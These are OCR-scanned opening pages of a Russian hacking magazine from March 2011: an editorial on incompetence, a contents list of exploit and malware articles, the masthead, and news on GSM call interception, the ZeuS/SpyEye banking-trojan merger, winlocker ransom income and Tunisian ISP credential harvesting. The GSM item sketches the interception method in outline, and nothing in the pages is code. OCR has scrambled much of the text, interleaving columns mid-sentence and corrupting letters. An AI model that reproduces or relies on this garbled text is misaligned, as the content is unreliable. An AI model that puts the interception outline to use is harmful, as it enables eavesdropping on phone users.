Хакер март 2011

Page 1

PALEVO: ИСПАНСКИЙ

ЧЕРВЬ С РУССКИМ НАЗВАНИЕМ

СТР.74

ЖУРНАЛ от КОМПЬЮТЕРНЫХ Х

ВЫБИРАЕМ ЗАМЕНУ ДЛЯ ПОПУЛЯРНОЙ СУБД СТР.22


1 посетитель в час. Мне стало крайне

- Папа, что такое некомпетентность и равнодушие?

посещаемости

- Не знаю, сынок, мне пофигу.

интересно, в чем же дело, и я решил покопаться в сорцах,

-

изучить структуру БД. Некомпетентность и равнодушие - два порока, которые не несут ничего хорошего ни пораженным людям, ни их

Вполне ожидаемо, что внутри оказались фаршеподоб­

окружению. Нет ничего хуже некомпетентных действий от

ные таблицы шириной в

человека, которому принято доверять, и решения кото­

ми varchar[20) для целочисленных идентификаторов,

120 составных полей с типа-

рого подразумевают ответственность. Некомпетентность

смешанный в нечитаемое говно монолитный слиток из

никогда не приходит одна: ведь нормальный человек,

кода, данных и разметки, а также три десятка других ярких

ощущающий ответственность за результат, просто не смо­

артефактов программистской несостоятельности. Удиви­

жет симулировать квалифицированную работу. Истинная

тельно, что человек, считающий себя профессионалом

некомпетентность под силу только равнодушным людям.

и даже имеющий «высшее техническое образование», никогда не слышал ни о нормальных формах, ни олроцес­

Некомпетентный врач, некомпетентный строитель, не­

се проектирования БД. ни о концепции разделения кода,

компетентный дизайнер, некомпетентный программист.

данных и интерфейса.

На каждую профессию найдутся толпы «специалистов», готовых оказать услугу, но из каждой толпы только пара человек будут профессионально пригодными. В нашей с тобой отрасли, в

IT, эта ситуация даже пожестче, чем в

строительстве и отечественной медицине

Как-то раз ко мне обратились друзья, создававшие в тот

Желаю тебе главного - уметь признавать свои ошибки, безболезненно учиться новому, стремиться быть компе­

тентным и неравнодушным профессионалом. Верю, что Х тебе в этом поможет

J

момент стартап - каталог определенных товаров. Весе­

nikitozz, гл . ред. Х

лый фрилансер сделал им сайт, но по какой-то причине

udalite.livejournal.com httR:Uvkontakte.ru/club 10933209

система работала крайне медленно даже на тестовой


CONTENT MegaNews 004

Все новое за последний месяц

FERRUM.

016

РС

022

Теcrирование накопителей NAS

ZONE.

Жизнь после MySQL Прокачиваем «мускулы», или где найти замену для популярной СУБД?

028

Файлы-призраки, или охотники за привидениями

Анализатор памяти офлайн Используем Memoгyze для исследования системы и поиска малвари

038

Колонка редактора Про регулярные выражения

ВЗЛОМ.

040

Easy-Hack

Повышение привилегий в домене Windows

050

Анализ свеженьких уязвимостей

056

Взлом знаменитой оффлайн-энциклопедии

060

Простые дыры в сложных вещах

072

Убойный пентеа Обзор эксnnоитов Британника под колпаком Ошибки архитектуры V

078

088

Запускаем небезопасный софтбез вреда системе

094

Руководство по прохождению HackQuest 201 О

X-Toots Программы для взлома

Без Patevo!

Рассматриваем потроха испанского червя с русским названием

Вирус на Python Изучаем возможности полноценного злокодинга на интерпретируемом языке

Поднятая целина

Зоопарк на карантине Веб-серфинг в шапке-невидимке Libeгte Liпuх: ОС для настоящего анонимуса

КОДИНГ. 098

Return-Oriented Rootkits наступают!

Проблемы ОСей на нынешнем этапе строительства гражданского общества

102 106

Скриптинг для Мас OS Х

Начинаем программировать на AppleScript

Дышим свежим AIR'OM Вкуриваем в Adobe AI R - кроссплатформенную среду для онлайн и оффлайн-кодинга

112

Многопоточные классы

115

Закрытые возможности Мас ОSХдля работы

Программерские типсы и триксы Юзаем iPhone из Мас OS Х

с мобильными устройствами oTApple

SYN/ACK.

118

122 128

Как работают DLР-сиcrемы?

Разбираемся в технологиях предотвращения утечки информации

Титаны клаcrерного фронта Решения от Microsoft и Огасlедля построения кластеров

Копилефт наносит ответный удар Современные тенденции защиты авторского права в контексте «Дела Жукова»

V

Самыи лучшии ... квеа.I

MALWARE .

074

Осваиваем и обустраиваем консоль

Хакерские секреты простых вещей

044

066

082

Как криминалисты восстанавливают надежно удаленные данные?

034

ЮНИКСОЙД.

ЮНИТЫ

132

Фантомные нити управления сознанием

Бессознательные эффекты и иллюзии в арсенале опытного манипулятора

138 142 144

FAQ UNITED Большой FAQ

Диско 8.5 Гб всякой всячины

WWW2

Удобные wеЬ-сервисы


066 у

у

Самыи лучшии.. квест.I .

Руководство по прохождению HackQuest 201 О

022

Жизнь после MySQL Прокачиваем «мускулы», или где найти замену для популярной СУБД?

074

Без Patevo!

Рассматриваем потроха испанского червя с русским названием

/ART

>Старwие менеджеры

Кузнецова Олеся

>АРТ-Аиректор

laLekhinafaglc.rul Мария Нестерова [nesterovalagle.rul

Захарова Мария

Никита «nikitozz» Кислицин

Евгений НОВИКОВ

Оксана Алехина

[nikitozlareal.xakep.rul

>Верстаnьщик

>Менеджеры

В случае возникновения вопросов по качест­

>ВЫПУСКlIOЩИЙ редактор

Вера Светлых

Ольга Емельянцева

ву печати и DVО-дисков: claimfaglc.гu.

/РЕДАКЦИЯ

>Гnавный редактор

Никола й«gогL»Дндреев

[gorlumlareal.xa kep.rul >РеАакторы рубрик

взлом

Дмитрий«FогЬ» Докучаев

[forblareal.xakeр.ru1 PC_ZONE и UNIТS Степан «step» Ильин

[steplarea l.xakep.ru 1

КОДИНГ, MALWARE и SYN/ACK

Александр «Ог. Юоuпiz» Лозовский

[alexanderlareal.xakep.rul UNIXOID и PSYCHO Андрей «Andrushock» Матвеев

[andrushoeklareal.xakep.rul >Литературный реАакт.р Анна Аранчук

(game)land

Степан «Step» Ильин

[stepla геа l.xakep. ru1 Uпiх-раздел

ООQ«ГеймЛэнд», 115280. Москва, ул.Ленинс· кая Слобода,19, Омега ПЛдза, 5 этаж, офис NO 21

Тел., [4951 935-7034, факс, [4951 545-0906 >Генераnьный директор Дмитрий Агарунов

>Генераnьный издатель Денис Калинин

>Зам. генерального издателя Андрей Михайлюк

>Редакцмонный директор Дмитрий Ладыженский

>Финансовый директор Андрей Фатеркин

>Директор по переоналу

Елена Каркашадзе

>гnавны й дизайнер Энди Тернбулл

>Директор по производству Сергей Кучерявый

Антон «Ant» Жуков

lantitsterlagmail.eom 1 Sесuгitу-раздел Дмитрий «0191» Евдокимов

levdokimovdslagmail.coml Монтаж видео

/РАЗМЕЩЕНИЕ РЕКЛАМЫ

Тел., [4951935-7034, факс, [4951545-0906

/РЕКЛАМНЫЙ ОТДЕЛ

>Директор .руппы TECHNOLOGY Марина Комлева

Максим Трубицын

Ikomlevalaglc.гul

>Директор по раэвитию направлений

>Редактор xakep.ru

Ixafareat.xakep.rul

> Горячая линия по подписке Факс для отправки купонов и квитанций на

ImaliginafagLc.rul

новые подписки,

[4951545-09-06

Телефон отдела подпискидля жителей

>Учредитеnь

Татьяна Гудебская

Выпускающий редактор

Елена Поликарпова

>Аднинистратор Юлия Малыгина

>Дмректор по маркетингу

>DУD

Леонид Боголюбов

/PUBLISHING

> Претенэии и дополнительнаяинфа:

АВТОиНi-Fi Венера Хамидулина

[khamidulinalaglc.гul

[4951663-82-77

>Директор корпоративной .руппы

Москвы,

(работа с рекламными агентствами)

Телефон для жителей регионов и для звонков

Лидия Стрекнева

!strekneva0gLc.rul

с мобильных телефонов, 8-800-200-3-999

>Старwие менеджеры Ирина Краснокутская

> Дnяписем

Наталья Озира

101000, Москва, Главпочтамт, а/я 652, Хакер

Кристина Татаренкова

Зарегистрировано в Министерстве

>МенеАЖер

Российской Федерации поделам печати,

Надежда Гончарова

телерадиовещанию и средствам массовых

>Старwий трафик-ненеАЖер Марья Алексеева

(alekseevafagLc.rul

коммуникаций ПИ Я 77 -11802 от 14.02.2002 Отпечатано в т ипографии «Zapolex»,

> Директор по ПРOAlже peкnaMЫ на МАН ТУ

Польша.

Марина Румянцева

Тираж

/ОТДЕЛ РЕАЛИЗАЦИИ СПЕЦПРОЕКТОВ

с мнением авторов. Все материалы в

>Директор

159916 экэемпляров.

Мнение редакции не обязательно совпадает номере предоставляются как информация к

Александр Коренфельд

размышлению, Лица. использующие данную

>Менеджеры

информацию в противозаконных целях,

Александр Гурьяшкин

могут быть привлечены к ответственности.

Светлана Мюллер

Редакция не несет ответственности за

/РАСПРОСТРАНЕНИЕ

номере. За перепечатку наших материалов

>Директор по Дистрибуции

содержание рекламных объявлений в без спроса - преследуем. По вопросам

Кошелева Татьяна !koshelevafagtc.rul

лицензирования и получения прав на

> Руководитель отдела подписки

использование редакционных материалов

Гончарова Марина

журнала обращайтесь по адресу:

> Руководитель спецраспространения

content0gLc,ru

Лукич ева Наталья

> Менеджеры по продажам Ежова Лариса

© 000 «ГеймЛэнд», РФ, 2011


'bjM�I:Vit"

Мария «Mifгilt. Нефедова ImlfrlН@g.m.l.nd.ruJ

е anews ЕЩЕ ОДИН СПОСОБ «СЛУШАТЬ» GSM О взломах GSМ-сетей [в частности. алгоритмов шифрования], мы уже

это в компьютер [канал подключения тоже немного оптимизирован].

писали неоднократно [например, о системе Kraken, способной вскрыть

После того, как нужный поток выявлен, остается лишь решить вопрос его

А5/1]. Также мы рассказывали а том, что сам взлом, на который ранее

расшифровки. Здесь в игру вступаетодин из багов GSМ-сетей: многие

требовалось продолжительное время, теперь стал осуществим за

операторы до сих пор не удосужились ввести защиту, которая заменяла

минуту-другую. Вся проблема заключалась лишь в подборе и покупке

бы нулевые заполняющие биты в проверочных пакетах на случайные

аппаратуры - задачаэто непростая и совсем не дешевая [речь идет о

значения. А пока такой защиты нет, содержаниеэтих пустых сообщений

тысячах вечнозеленых денег]. GSМ-операторы от проблемы тогда пред­

легко предсказуемо. Само вскрытие 64-битного ключа шифрования

почли отмахнуться - мол, слишком все это сложно, дорого и трудоемко.

происходит при помощи двухтерабайтной «радужной таблицы», собран­

И, как всегда, оказались неправы. Недавно на конференцииChaos ComputerClubCongress было продемонстрировано, что для перехвата

нойэнтузиастами. Занимаетэто около двадцати секунд. Ввиду того, что большинство операторов [опять же, пренебрегая безопасностью], долго

GSМ-переговоров вполне достаточно связки «ноутбук-сотовый», притом

используют один и тот же сессионный ключ как для голосовых соедине­

В качестве телефона может выступать самая примитивная модель

ний, так и СМС-сообщений, перехваченную последовательность можно

«Моторалы» за $15. Уязвимость GSМ-сетей в очередной раз доказали

применить и для расшифровки последующих телефонных звонков

исследователь из Security Research Labs Карстен Нол и программист

жертвы. Подробности доклада и полезные материалы можно найти на

Сильвен Мюно, участвующий в проекте по созданию свободной GSM­

официальном сайте конференции: еvепtS.ссс.dе.

прошивки OsmocomBB. Для взлома им понадобился лишь собствен­ норучно перепрошитый GМS-телефон «Моторола», подключенный к ноутбуку с набором открытого ПО. Сам метод взлома таков: жертве отправляется поврежденное или пустое SМS-сообщение, которое никак не отображается на телефоне получателя. Затем, путем снифинга, выявляется случайный идентификатор сессии. Снифер как раз создан на базе модифицированной «Моторолы» за пятнадцать баксов - за счет перепрошивки аппарат получает куда больше данных от сотовой сети, чем обычный телефон, и практически в реальном времени сливает все

»

100 млн пользователей используют для обмена файлами сети BitTorrent, если верить официальному пресс-релизу компании.

ZEUS + SPYEYE

?

Еще недавно инструментарии ZeuS и SpyEye были непримиримыми конкурентами,

беспощадно уничтожавшими детища друг друга на зараженных машинах, а теперь они обьединились. Специалисты в области информационной безопасности уже бьют тревогу, ведь новая сборка SpyEye вобрала в себя все «лучшие» черты обоих тулкt-tтов, являя собой действительно чудовищный гибрид. Что послужило поводом к такому

МelnCPa.bd �."" "-key Connoct«int8tv8I lоес) КilZeu8: Ое. COOIdeI еnd seuionI: 8n.Jt&.fofcecertlf'tc:atel: t.og ody '''''''' (NIpoJ UR1:o:

comprмa with Unlque Stub Generatoг. EnaЫe saeen8hot configuratlan: IWebIl'Ijerts)

.....

1.., фJ.t,,\ 1col1ac1O.J.txt

tvour En� к.у �

Spy Еуе,... _.-

Г JabbetNOOflcation Г VNC МOdUIe (wиh b8dc:-conned) Г� Г AuЫJpdate

г г

слиянию, доподлинно, разумеется, не известно, хотя андеграунд и полнится слухами а том, что автор «Зевса» решил уйти на покой и оставил все свои наработки наиболее достойному преемнику - создателю SpyEye, известному как GгiЬоdеmоп/Нагdегmап Как бы то ни было, результат впечатляет Новая версия сохранила интерфейс SpyEye, но обросла функционалом ZeuS. Главные фишки новой сборки: поддержка раз­

г г г г

личных плагинов и опция обхода системы безопасности Т r usteer Rapport, которой пользуются многие банки. Также улучшили функцию извлечения паролей, добавили уведомление через Jabber, включили модуль VNC, а также функции автоматического распространения и обновления. Упомянутые выше плагины, позволяют снабжать жертв фейковыми страницами и упрощают атаки против пользователей Firefox. Если раньше SpyEye воровал данные из зашифрованного хранилища Windows, то теперь, благодаря плагину ffcer tgrabber, он способен пролезть и в папки, где свои данные хранит«Лиса». Гибрид двух тулкитов уже вовсю продается на черном рынке, и, по данным специалистов Тгепd Micro, пара серверов уже использует новую версию малвари. Похоже, можно ждать появления новых крупных ботнетав.

� 004

ХАКЕР 03 1 1 4 6 1 20 1 1


КАНРОВЫЕ ПЕРЕСТАНОВКИ С ра зу две круп ные IT - ко м п а н и и объ я в и л и об и з менен и я х в в ы с ше м руководя ще м составе. П е р в о й стала Ap ple, чей генераль­ ный ди ректор Сти в Джобс взял бессроч н ы й отпуск п о состо я н и ю здо р о в ь я . Н а п о м н и м , что в 2009 году Джобс уже п ровел на боль­ н и ч но м п ол года , та к к а к леч ился от р а ка поджелудочной желез ы и перенес пересадку пече н и . Не хочется думать о худше м , н о о ч е в и д н о , что п о бедить заболе в а н ие окончател ьно Сти ву тогда н е удал ось, с чем и с в я з а н е го н ы неш н и й отпуск. В о ф и ц и а л ь н о м о б р а щен и и Джобс з а ве р и л , что п р одолжит з а н и ­ мать п ост ге нерал ь н о го ди ректора и будет участвовать в п р и н ят и и о с н о в н ы х стратегических решен и й . В ре ме н н ы м у п р а вл я ю щ и м станет о пера ц и о н н ы й ди ректор A p p le Ти м Кук, уже п одме н я в ш и й Джобса в 2009. У ко м п а н и и G o o g le тоже с м е н ится руководител ь , тол ь ко не в ре м е н н о , а п осто я н н о . П ост ге нерал ь н о го ди ре кто ра в скором в ре м е н и з а й мет один и з о с н ователей п о и с ко в о го г и га нта Л а р р и Пейдж. Э р и к Ш м идт, з а н и м а в ш и й ди ре кто р с кое кресло с 2 0 0 1 года , из G o o g le тоже уходить не с о б и рается - он оста нется в ко м п а н и и в ка честве п редседателя п р а в ле н и я , а та кже будет со ветн и ко м Пе йджа и Б р и н а .

"" Средняя цена ворованной банковской карты на черном рынке, по " данным Panda Labs, составляет порядка $2. За $80 можно получить

подробности о средствах на счету. В случае, если сумма средств превышает

$82 000, заплатить за такую «детализацию» придется уже $700.

ВИРУСЫ БИЗНЕС

... ПРИБЫЛЬНЫИ

Пополнить счет абонента БИЛДЙН N2

8-963-724-50-49

на сумму 360 рублей

ПОCl1е оплаты, на выданном терминалом чеке оплаты, Вы найдете код. который необходимо ввести 8 поле, расположенное ниже. ПОC/lе ввода кода реt<JIЗМНЫЙ модуль эвтоматичесlCИ УДЗЛИТaI Желаем приятного просмотра эра-видео.

� 006

Ком п а н и я Tre n d M icro опубл и ковала и нтересные да н н ые, получен н ые в ходе исследов а н и я деятель­ ности троя WORM_R IXOBOTA [он же TROJ_RA N S O M . QOWAI. Упомя нутый зловред с а м по себе н е особе н н о и нтересен, он относится к классу в и нл о керов и р а с ­ п ространяется в о с н о в н о м через порн осаЙты. За раза весьма « популя рна» на те р р итории Росс и и - только за декабрь 20 1 0 года в и р ь был с качан п орядка 1 37 000 раз. И нтересно другое: изучая деятел ьн ость зловреда , спе­ циал исты Trend M ic ro сумели получ ить доступ к одн ому из коорд и н а ц и о н н ы х серверов злоум ы шлен н и ко в . На сервер стекалась информация о поступле н и я х средств на шестьдесяттелефо н н ы х н омеров, п редназначенных специал ьно для сбора « п одати» с жертв. После а нал иза да н н ы х в ы я сн илось, что только за послед н ие пять не­ дель SMS на ука з а н н ые в блокировщике н омера отпра­ вили более 2 500 человек, то есть почти 2% владельцев зараже н н ы х П К. Уч иты в а я , что сто и мость одной та кой S М S · ки соста вляла 360 рубле й , несложно подсч итать, что за месяц с небол ь ш и м мошен н и к и стали богаче на 901 245 рублей [$29.5 TbIc . l . П родолжая а р и ф мети ку, в ы ч исляем, что годовой доход п реступ н и ко в , с пециали­ з и рующихся на ви нлокерах, почти дости гает отметки в 100 000 000 рублей. И нтересн о , после этих цифр кого-то еще удивляет попул я рность ви нлокеров и тот фа кт, что их п и шут все более п рофесси онально и сер ьез но? Х А К Е Р о з 11 46) 2 0 1 1


ИНФОРМАUИОННЫЕ воины. FACEBOOK.

Есл и ты ничего не сл ышал о н ы нешней политической ситуации в Тунисе, сообщаем - ты п ропустил так называемую « жасминовую революцию», а говоря проще - государствен н ы й переворот. Но любая современная война была бы неполной без своей информационной со ставляющеЙ. С пецслужбы Туниса реш ил и объявить войну социальной сети Facebook, через которую оппозиция распространяла « неугодные» власти видеоролики, проводила организацию митингов и та к далее. Gmail и Уаhоотакже попали под раздачу, но история, прикл ючивша­ яся вокруг Facebook, и нтереснее. Спецслужбы страны на уровне I S P внедрили JavaScript, который при обра щен и и к упомянутым ресурсам при нудител ьна менял соеди нение HTTPS на НТТР и добавлял к стра н и цам десять строк кода . Таким образом осуществлялся сбор логинов и паролей пользователей 1кстати , поговаривают, что он мог начаться еще летом 201 О, когда провайдер-монополист впервые перекрыл тунисцам доступ к HTTPS]. Получив данные для авториза­ ции , скрипт ш ифровал и х и помещал в U RL, добавляя пять случайных символов. Затем данные перехватывались на уровне национального ISP. Что сделали спецслужбы с полученной информацией? Все просто, о н и при нялись пачками удалять «опасные» аккаунты оппоз и ционе­ ров. Однако оказалось, что служба безопасности Facebook тоже н е дремлет. Еще в конце декабря директор по безопасности Facebook Джо Салл иван обратил внимание на стран н ы е жалобы, поступающие из Туниса, и поручил своей команде разобраться. П ришлось пово-

зиться, зато к 5-му я нваря стало ясно, что ситуация совершенно дикая - скомпрометирован н ы м и оказались пароли всех пользователей Тунисской республики, и спецслужбы действительно трут а ккаунты 1 Другая компания, возможно, не стала бы встревать в эти политические дрязги , но в Facebook п ри няли решение отнестись к проблеме как к ч исто технической. И, по сути, социальная сеть вступила в войну с пусть и небольшим, но целым государством 1 Вдохновившись статья ми Клэя Ширки и Евгения Морозова, которые детально описывали мето­ ды спецслужб, безопасники Facebook взялись придумывать ответные меры. 1 О-го я нваря для всех пользователей Туниса была вкл ючена новая двухуровневая система защиты : все запросы из Тун исской Рес­ публи ки теперь перенаправлялись на НТТРS-сервер Iвообще-то ISP может принудительна переводить сессию в НТТР, но этого отчего-то н е произошло], а также запустили процедуру дополнительной аутенти­ фикации. Теперь, перед тем как впустить пользователя на сайт, ему предлагают узнать нескольких своих друзей по фотографиям. Как н и странно, такие нехитрые меры пока помогают, а тунисцы благодарят Facebook и Марка Цукерберга за поддержку.

"" 51,8% девайсов на Android работают под управлением версии 2.2

" мобильной ОС от Google. При этом на самом последнем релизе - 2.3всего 0.4% смартфонов.

ВИДЕО БЕЗ ПРОВОДОВ Мы уже не разупоминали а том, что ш и рокое распространение беспроводной передачи видео - дело недалекого будущего. Уже сейчас существуют различные Iконкурирующие, кстати] технологии, позволяющие передавать « картин ку по воздуху» , например WiгеlеssНD, WHDi и Wi Di. Однако до последнего времени рынок предлагал нам разве что разл ич ные Wireless USВ-девайсы, да новые ноутбуки , плееры и телевизоры со встроенными передатчи ками­ п риемниками упомянутых выше стандартов. Если ты н е улавливаешь, к чему я веду, поясню - решений для десктопов попросту не было. Если, конечно, н е считать USВ-устройств, которые далеко не идеальны и ктомуже заметно бьют по карману. Теперь такой гаджет есть - это видеокарта KFA2 NVIDIA GeForce GTX 460WHDI. Фактически, это первая видюха для десктопов, построенная на технологии WHDllWireless Ноте Digitаl l пtегfасе] . Если в твоем мониторе нет встроен ного приемника WНDI-сигнала l а у тебя его нет, п равда?], не отчаиваЙся. Хорошая новость заключается в том, что он поставляется в комплекте с видеокартой. Радиус действия сигнала WHDI

� 008

составляет порядка тридцати метров l и стен ы ему н е помеха 1 ] , наличествует поддержка FullH О 11 080р]. Кроме того, стоит сказать, что GeForce GTX 460 WHDI - это еще и 1 Гб памяти GDDR5 с 256-битным интерфейсом, что явно придется по душе приложениям, использующим техно­ логию C U DA. А чего стоят пять здоровенных

антенн, которые торчат из видюхи - это просто праздник какой-тоl :] В продажу необычная новинка должна поступить в самое ближайшее время. Цена устройства до сих пор неизвестна. Впрочем, можно подключить к делу логику и предположить, что дешевым это удовольствие окажется врядли.

ХАКЕР 03 11 461 2 0 1 1


'M@�IM1

«ВКОНТАКТЕ» НАШЛИ ПИРАТА П очти каждый раз, когда до нас доходят известия об очередных раз­ б и рательствах н а почве сетевого п и ратства, мы с сарказмом совету­ ем н а ш и м борцам за «авторское лево» заглянуть в социальные сети и удивиться количеству нелегального контента. То л и н а ш и ехидн ые ком мента р и и были усл ы ш а н ы , то ли идеи п росто витают в воздухе . . Словом, получ ите и распиш итесь - первый п рецедент. П ротив юзера « В Контакте» возбудили уголовное дело за размеще н ие муз ы ки на стра н и це. Теперь 26-летнему москвичу грозит шесть леттюрьмы [ст. 1 46 Уголовного кодекса РФ - н а руше н ие авторских и смежных прав]. В отделе « К» сообща ют, что пользователем о н и заинтересовались после обращения в милицию предста вителя 000 «Фирма грамза­ писи « Н икитин». Фирма была кра й не недовол ьна тем, что аудио­ материал ы , искл ю читель н ые права на которые п р и надлежат ей, спокойно и - о ужа с l - бесплатно расп ростран я ются п о « В Контак­ те». Н а и более злостн ы м на рушителем оказался тот са м ы й 26-летни й житель столицы, размести в ш и й у себя на стра н и це восе м надцать аудиозаписей некой росси й с кой муз ы кальной груп п ы I н азвание не разглашается], ч исло ска ч и в а н и й которых п ревысил о 200 000. Также

»

М ВД назы ваетсумму ущерба - п равообладатель я кобы п онес ущерб в в иде недополученной в ы годы в размере 1 08 000 рублей . Стран ное ч исло , было бы очень и нтересно узнать, ка ким образом оно получе­ но. Подводя неутеш ител ь н ы й итог, нужно заметить, что хотя у нас и не прецедентное право, п р и мер « Ф и р м ы грамза писи « Н и китин » все равно может понравиться другим п ра в ообладателя м , и последуют новые обращен и я в о р га н ы и новые угол о в н ые дела .

80 новых планшетных устройств были представлены на ежегодной выставке CES 2011, прошедшей в Лас-Вегасе.

СВЕРХТОНКИЙ МОНИТОР Чем компактнее мон итор, тем больше места будет на столе - это понятно любому. П роиз­ водители железа ведут настоящий невиди­ мый бой, стремясь сделать свои монитор ы еще легче, тоньше и уже. Серьезную заявку н а победу в этом соревнова н и и сделала компа­ н и я LG, представив улыратонкий LЕD-мони­ тор Е90 с диагональю 2 1 .5». Отличает н о в и н ку, в первую очередь, глуби н а корпуса, которая составляет всего 7.2 мм 1 Также устройство может похвастаться мал ы м весом, эко н о м и ч -

н ы м энергопотреблением IHa 4 0 % меньше, чем обычные ЖК- м о н итор ы с подсветкой CC FL] и ориги нальн ы м хроми рова н н ы м корпусом. З а счет последнего Е90 смотрится совсем воздуш н ы м и изящным. Все разъемы ID-sub, DVI - D , H D M I ] спрята н ы в задней части подста вки благодаря системе удобного под­ кл ючения EZ-cabling. Радуют характеристики экрана: время откл и ка матрицы составляет 2 мс, разрешен ие 1 920х1 080. Рекомендова н ­ ная цена для да нной модели - 1 3 000 рублей .

-

БЕСПРОВОДНАЯ ЗАРЯДКА ДЛЯ ВСЕГО Н а уже упомянутой в ы ше выста вке C E S л юбоп ытную разработку представила ком п а н ия eCoupled. Специал и сты eCouplea утверждают la независимые э ксперты подтверждают], что им удалось создать беспроводные зарядные устройства 90% эффективности - то есть при передаче с и гнала теряется всего 1 0% энерги и . Это очен ь круто в сравне н и и со сходн ы м и п родуктам и кон курентов и практически аналоги ч н о обычной « проводной» зарядке. П редпол а гается, что заряжать оттакой ста нции с равн ы м успехом можно ка к мобил ь н ы й телефон, так и электромобиль, что и было продемонстрировано публи ке на п р и мере Tesla Roadster. По словам представителей eCouple d , чтобы л юбой девайс стал совместим с их за рядной ста н ­ цией, достаточ н о уста новить в него специальную катушку ITaK ка к в основе тех н ологии лежит электромагн итная и ндукция]. По цене такой п рием н и к вполне сопоста в и м с устан овкой других зарядных решен и й .

� 010

ХАКЕР 0 3 1 1 4 6 1 2 0 1 1


АРР STORE

-

ТЕПЕРЬ И для «МАКОВ»

[" "и",

..... "....._, .......... w.I(

..4<_

All Cottt«k. !� : 1М.'

CD

kppOl'

\' :1 ::� � := ...

,.

:t1ecl8J

,wackt11 W••,1Мf

1\"fI'�1r"" 1'''""" CIIШID

1\'''I'l�''W1r 4101",-"'9' ....

:; r l 1 1'1'� �:1'1'*.(( 'IoIRII"'II'

! Wlш'sНоt

r;

FamilyTree MakerJ.;.;tNc

ТWI"tr

'" "1'.

"'*11*" 1"1111.... � h<1I1N<_�""

::::-1<

8"'1I'1\''A" tofl\lOll. ......

li3.. ":=;'; "'''9' � WIIIt.bNtcI:CoIll, Со",..

»

КО,

'

"'�11\'I11 1I'1r*\'(Инlo�,. ......

!111tpl,ШОI

"'� ." 1r*1It*'I:IliH:tI"".

C1IID

1"'It'/t-* �1"\IOt'

...N.,

,

... "' ., "

��:' О\У

.......

,

__ 8

I'tO<l<><,Io\,y **1"** '1�"""",

.......

� ComkUf'l

11"11'*."" 1R.r!"'9' ....D ... ,11••,.1.

.". 1l1l.I","

��.

IHI'1rtrA'H ...� ...",....

I'I'1'r.1rtr,H_, ....."... ,-

ПI',"f!d'nl ,_о *1"11** L.�lI>IoII'j'

i

�Ik.tv Iralnflorm'

l'J:8 !,'tSIIH'fCКIII

.......

..

To�1 Torl

G,,,o. *.*?\"* 1''''''''

_D

' i'

I

"'�'I

.......

.

I

--; 1

'.I'tIINIIHD0-

.. _.

=:,-

"I'I.�""OI" "_"""'�iIf\

l. IO

,·htI· _'<lМ!'r

I I

На радость всех «ябл о ч н и ков» ком п а н и я Apple за пустила сервис Мас Арр 5tore даже раньше запланирован ного срока. Теперь у пользователей « М а к и нтошей» п о я в ился собс­ тве н н ы й а налог Арр 5tore I который работает для i P h o n e , i Pod t o u c h и iPad], п озволя ющий максимально удобно устанавли вать ка к платн ы е , так и бесплатн ы е п р иложения для М а с 05 Все реализовано в луч ш и х традициях Арр 5tore: п о купка одн и м нажатием, п розрачная уста новка п р ил оже н и я , удобная система обновл е н и й . К пользовательскому аккаунту iTunes п р и вязы вается пластиковая карточка, с которой и будут списаны ден ьги за п риобрете н н ы е п риложе н и я . Сейчас в М а с А р р 5tore уже более тыся ч и п рогра м м , и и х ч исло постоя н н о растет. С и стема работает на м а ш и нах с уста новл е н ной М а с 05 Х 5now Leopard. Вот смотр и ш ь на реал изацию магазина для Мас или менеджеры па кетов для Linux и думаешь: «Удивител ьное дел о , ка к же M icrosoft до сих п о р не реализовала н и чего подобного?» . Вроде бы такая сама собой напраш иваю­ щаяся штука, а н нет - ничего п одобного н е существует. Слабо?

l 'rOflfree ! !

i

.. 1,.,..11••,

1. 1ooIh"',. с;,....., Ж" " .. --�

).1IIowI1I �.t"'.IIf'

Из 107 трлн. писем, отправленных за год, 89,1% были спамом (данные компании Рiпgdоm).

HOTMAIL «ПОТЕРЯЛ» КУЧУ КОРРЕСПОНДЕНЦИИ Оригинальный « п ода рок» К Н овому году сделал своим пользователя м почтовый сервис Wi n d ows Live Hotmail о т M i c rosoft. Да, возможно т ы уди в и ш ься, но Hotm a i l в н а ш и дни пол ьзуются н е толька с п а м е р ы , но и тыся ч и живых л юдей п о ту сторону Атлантики Iвообще, это п о пуляр­ н е й ш и й почтовый сервис на планете] . 3алоги н и в ш и с ь в свои а ккаунты после праздн и ков, эти самые живые л юди с удивлением обнаружили пустоту. Все п а п ки оказались девственно ч исты , корреспонденция за м ногие годы исчезла, л и ш ь во «Входящих» , будто издевка, висело первое п р и ветстве н ное п исьмо от H ot mail. На са п п о ртWiпdоws Live обруш ился ш квал жалоб: уже на следующий день после и нцидента на официальном форуме этому воп росу были посвящены сотни стра н и ц. Тем удивител ьнее звучит заявление Кэтри н Б рукер, сдел а н н о е чуть позже. Официальная п р едставител ьница M ic rosoft сообщила, что с проблемой стол кнулось « л и ш ь незнач ительное ч исло пользователей» , не дала н и каких кон кретн ых объя снен и й случ и в ш егася и туманно высказалась, что « ком п а н и я работает над устра н е н и е м н е п оладок» . Сейчас, по прошеств и и времени, ста новится ясно, что « устр а н е н и е н е п оладок» заключалось в луч ш е м случае в п редотвраще н и и анало­ гичного сбоя в будуще м , а возвращать исчезнув ш и е п и сьма пользова­ теля м явно н и кто не собирается Л и ш н и й п овод вспомнить о н еобходи­ мости регулярно делать бэка п ы . ХАКЕР 0 3 ( 1 461 2 0 1 1

� 01 1


IftЩС1ЩIМi

....

ДВУХЪЯДЕРНЫИ СМАРТФОН ЗАМЕНЯЕТ СИСТЕМНЫИ БЛОК Ежегодная выставка CES [Consumer Electronics Showl, прошедшая в Лос-Анджелесе в начале я н варя, как обычно принесла информацию о множестве новых гаджетов. На наш взгляд, настоящим «гвоздем про­ граммы» стал продемонстрированный там смартфон Motorola Atrix4G, так что о нем мы решили рассказать подробнее. Специалисты Motorola создали оригинальный многофункциональный девайс, окрестив его «модульным сотовым телефоном». Весьфокус в том, что этот андройд­ аппаратлегким движением руки превращается в полноценный П К. Во­ первых, Atrix 4G можнолибо подключить к любому Н D М I-совместимому телевизору или монитору, присоединить к нему USВ-мышь и клавиатуру [все через миниатюрную док-станци юl, и получить вполне при годный для офисной работы П К или приставку. Во-вторых, можно прикупить док-станцию в виде « пустого» ноутбука - экран 1 1 .6» , клавиатура, батарея и разъем для подключения смартфона, спрятанный за экраном. Какты понимаешь, во втором случае достаточно присоединить аппарат к « наутбуку» И опять-таки полноценный компьютер готов к работе. Тебе уже и нтересно, что у Atrix 4G внутри? Отвечаем : Motorola Atrix 4G - это, по сути, самый мощный смартфон на текущи й момент. Этот небольшой с видудевайс с 4-дюймовым сенсорным дисплеем [960х540 пикселейl построен на базе двухъядерной платформы NVI 